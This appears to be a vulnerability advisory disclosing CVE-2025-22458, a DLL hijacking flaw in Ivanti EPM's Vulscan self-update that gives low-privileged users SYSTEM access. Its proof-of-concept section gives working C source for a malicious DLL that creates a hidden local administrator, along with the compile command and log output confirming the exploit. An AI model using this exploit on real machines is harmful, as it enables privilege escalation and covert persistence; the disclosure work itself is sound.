Management summary
The Ivanti Endpoint Manager Security Scan (Vulscan) Self Update was vulnerable to DLL Hijacking. It created a scheduled task as SYSTEM that tried to load non-existent ZIP files from ProgramData. A malicious DLL could be inserted into one of the ZIP files which would be unzipped to and loaded from Program Files (x86) allowing malicious actors with low privileges to escalate to SYSTEM and due to the recurrence of the scheduled task, also gain persistence.
Vendor description
"EPM Patch and Compliance Manager uses an auto update feature in order to make sure that all vulnerability scanning files are up to date with the core server. This ensures compatibility between the files and the latest definitions as well as compatibility with the files on the core. The Security Scan (Vulscan) is what does the update."
Source: https://forums.ivanti.com/s/article/About-Patch-Manager-Self-Update?language=en_US
Business recommendation
The vendor provides a patch which should be installed immediately.
Vulnerability overview/description
1) DLL Search Order Hijacking (CVE-2025-22458)
The EPM Security Scan (Vulscan) Self Update is vulnerable to DLL Hijacking. When it is installed on a client machine, by default, it creates a scheduled task as SYSTEM that when run, tries to load non-existent ZIP files from ProgramData. A malicious DLL can be inserted into one of the ZIP files which will be unzipped to and loaded from Program Files (x86) allowing malicious actors with low privileges to escalate to SYSTEM and due to the recurrence of the scheduled task, also gain persistence.
Proof of concept
1) DLL Search Order Hijacking (CVE-2025-22458)
In the screenshot below the scheduled task "LANDESK Agent Health Bootstrap Task" is seen to be running as SYSTEM on the client machine.
By default it is set to run daily at 9 PM.
This scheduled task runs the vulscan.exe binary that scans to make sure that all vulnerability scanning files are up to date with the core Ivanti server.
Every scan run by this agent saves a log in the following location:
C:\ProgramData\LANDesk\Log\vulscan.log
The ProgramData folder allows any authenticated user to read and write into it. While reading the log, the following lines indicate that some files are not found.
Thu, 10 Feb 2025 21:00:19 Info: Core did not find file RebootBehavior_Apply.zip
Thu, 10 Feb 2025 21:00:19 Last status: File not found on core
Thu, 10 Feb 2025 21:00:19 Info: Core did not find file AlertSettingsBehavior_Apply.zip
Thu, 10 Feb 2025 21:00:19 Last status: File not found on core
Thu, 10 Feb 2025 21:00:19 Info: Core did not find file InventorySettingsBehavior_Apply.zip
Thu, 10 Feb 2025 21:00:19 Last status: File not found on core
Thu, 10 Feb 2025 21:00:19 Info: Core did not find file ClientConnectivityBehavior_Apply.zip
Thu, 10 Feb 2025 21:00:19 Last status: File not found on core
Thu, 10 Feb 2025 21:00:19 Info: Core did not find file PortalManagerBehavior_Apply.zip
Thu, 10 Feb 2025 21:00:19 Last status: File not found on core
<snipped for brevity>
Thu, 10 Feb 2025 21:00:19 GetFileHash: could not find "C:\ProgramData\vulScan\RebootBehavior_Apply.zip"
Thu, 10 Feb 2025 21:00:19 GetFileHash: could not find "C:\ProgramData\vulScan\AlertSettingsBehavior_Apply.zip"
Thu, 10 Feb 2025 21:00:19 GetFileHash: could not find "C:\ProgramData\vulScan\InventorySettingsBehavior_Apply.zip"
Thu, 10 Feb 2025 21:00:19 GetFileHash: could not find "C:\ProgramData\vulScan\ClientConnectivityBehavior_Apply.zip"
Thu, 10 Feb 2025 21:00:19 GetFileHash: could not find "C:\ProgramData\vulScan\PortalManagerBehavior_Apply.zip"
Thu, 10 Feb 2025 21:00:19 Self update: files are up to date.
It looks like it is trying to find certain zip archives. It first searches on the Core Ivanti server, then it looks in the ProgramData folder. Since it can't find them in either location, it concludes that it is up to date.
Further down into the log it can be seen that it tries to unzip the same zip files from the ProgramData folder. It can't find them and then loads DLL files from Program Files (x86). These DLL files have the same name as the zip file.
Thu, 10 Feb 2025 21:00:20 Checking whether to unzip 'C:\ProgramData\vulScan\RebootBehavior_Apply.zip'. Force: true
Thu, 10 Feb 2025 21:00:20 GetFileHash: could not find "C:\ProgramData\vulScan\RebootBehavior_Apply.zip"
Thu, 10 Feb 2025 21:00:20 Loading applier dll: 'C:\Program Files (x86)\LANDesk\LDClient\RebootBehavior_Apply.dll'
Thu, 10 Feb 2025 21:00:20 Check last error after load library. Error: 126
Tue, 10 Feb 2025 21:00:36 Checking whether to unzip 'C:\ProgramData\vulScan\AlertSettingsBehavior_Apply.zip'. Force: false
Tue, 10 Feb 2025 21:00:36 GetFileHash: could not find "C:\ProgramData\vulScan\AlertSettingsBehavior_Apply.zip"
Tue, 10 Feb 2025 21:00:36 Loading applier dll: 'C:\Program Files (x86)\LANDesk\LDClient\AlertSettingsBehavior_Apply.dll'
Tue, 10 Feb 2025 21:00:36 'PreApplyBehavior' is not in 'C:\Program Files (x86)\LANDesk\LDClient\AlertSettingsBehavior_Apply.dll'
Tue, 10 Feb 2025 21:00:36 Calling 'ApplyBehavior' in 'C:\Program Files (x86)\LANDesk\LDClient\AlertSettingsBehavior_Apply.dll'
Tue, 10 Feb 2025 21:00:36 Checking whether to unzip 'C:\ProgramData\vulScan\InventorySettingsBehavior_Apply.zip'. Force: false
Tue, 10 Feb 2025 21:00:36 GetFileHash: could not find "C:\ProgramData\vulScan\InventorySettingsBehavior_Apply.zip"
Tue, 10 Feb 2025 21:00:36 Loading applier dll: 'C:\Program Files (x86)\LANDesk\LDClient\InventorySettingsBehavior_Apply.dll'
Tue, 10 Feb 2025 21:00:37 'PreApplyBehavior' is not in 'C:\Program Files (x86)\LANDesk\LDClient\InventorySettingsBehavior_Apply.dll'
Tue, 10 Feb 2025 21:00:37 Calling 'ApplyBehavior' in 'C:\Program Files (x86)\LANDesk\LDClient\InventorySettingsBehavior_Apply.dll'
Tue, 10 Feb 2025 21:00:38 Checking whether to unzip 'C:\ProgramData\vulScan\ClientConnectivityBehavior_Apply.zip'. Force: false
Tue, 10 Feb 2025 21:00:38 GetFileHash: could not find "C:\ProgramData\vulScan\ClientConnectivityBehavior_Apply.zip"
Tue, 10 Feb 2025 21:00:38 Loading applier dll: 'C:\Program Files (x86)\LANDesk\LDClient\ClientConnectivityBehavior_Apply.dll'
Tue, 10 Feb 2025 21:00:38 Calling 'PreApplyBehavior' in 'C:\Program Files (x86)\LANDesk\LDClient\ClientConnectivityBehavior_Apply.dll'
<snipped for brevity>
Wed, 10 Feb 2025 21:01:42 Checking whether to unzip 'C:\ProgramData\vulScan\PortalManagerBehavior_Apply.zip'. Force: false
Wed, 10 Feb 2025 21:01:42 GetFileHash: could not find "C:\ProgramData\vulScan\PortalManagerBehavior_Apply.zip"
Wed, 10 Feb 2025 21:01:42 Loading applier dll: 'C:\Program Files (x86)\LANDesk\LDClient\PortalManagerBehavior_Apply.dll'
Wed, 10 Feb 2025 21:01:44 'PreApplyBehavior' is not in 'C:\Program Files (x86)\LANDesk\LDClient\PortalManagerBehavior_Apply.dll'
Wed, 10 Feb 2025 21:01:44 Calling 'ApplyBehavior' in ‘C:\Program Files (x86)\LANDesk\LDClient\PortalManagerBehavior_Apply.dll’
The Program Files (x86) folder already contains all the DLL files it looks for, with one exception. It doesn't contain the RebootBehavior_Apply.dll file.
Because the zip files in question don't exist in ProgramData, a low privileged user can create them.
The RebootBehavior_Apply.zip file could, for example, contain a RebootBehavior_Apply.dll that, when loaded, will create a new user and add it to the local administrators group. This was the chosen zip file name because it is the first one searched for by the scan. However, any of the other ones can be used. The DLL will still be created, the only difference will be that a second scan will be required for it to reach the stage where it tries to load RebootBehaviour_Apply.dll again.
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
void Entry() {
system("cmd.exe /C net user adminuser P@ssW0rd1sSup3rS6curE /add /Y");
system("cmd.exe /C net localgroup administrators adminuser /add");
}
__declspec(dllexport) void PreApplyBehavior() {
Entry();
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Entry, 0, 0, 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Notice the "PreApplyBehavior" exported function which just calls the malicious commands. This is a required function that is searched for when the vulscan.exe tries to apply the DLL. It was compiled using the syntax below.
i686-w64-mingw32-gcc poc.c -shared -o RebootBehavior_Apply.dll
When the scheduled task runs, it finds the malicious ZIP file and successfully unzips it in 'C:\Program Files (x86)\LANDesk\LDClient\' and immediately loads it.
Tue, 11 Feb 2025 21:02:52 Checking whether to unzip 'C:\ProgramData\vulScan\RebootBehavior_Apply.zip'. Force: false
Tue, 11 Feb 2025 21:02:52 Unzipping
Tue, 11 Feb 2025 21:02:52 Unzip 'C:\ProgramData\vulScan\RebootBehavior_Apply.zip' to directory 'C:\Program Files (x86)\LANDesk\LDClient\'
Tue, 11 Feb 2025 21:03:03 Successfully unzipped
Tue, 11 Feb 2025 21:03:03 Loading applier dll: 'C:\Program Files (x86)\LANDesk\LDClient\RebootBehavior_Apply.dll'
Tue, 11 Feb 2025 21:03:03 Calling 'PreApplyBehavior' in 'C:\Program Files (x86)\LANDesk\LDClient\RebootBehavior_Apply.dll'
The malicious DLL file was created as SYSTEM:
Checking the local users, it is confirmed that the new adminuser local administrator has been created.
As long as the malicious RebootBehavior_Apply.dll exists in 'C:\Program Files (x86)\LANDesk\LDClient\', the scheduled task will try to load it each time thus giving an attacker a stealthy persistence mechanism.
Vulnerable / tested versions
The following version has been tested which was the latest version available at the time of the test:
* 11.0.5.2795
Affected versions as indicated by the vendor are EMP 2024 and EPM 2022 SU6 and all its previous versions.
Vendor contact timeline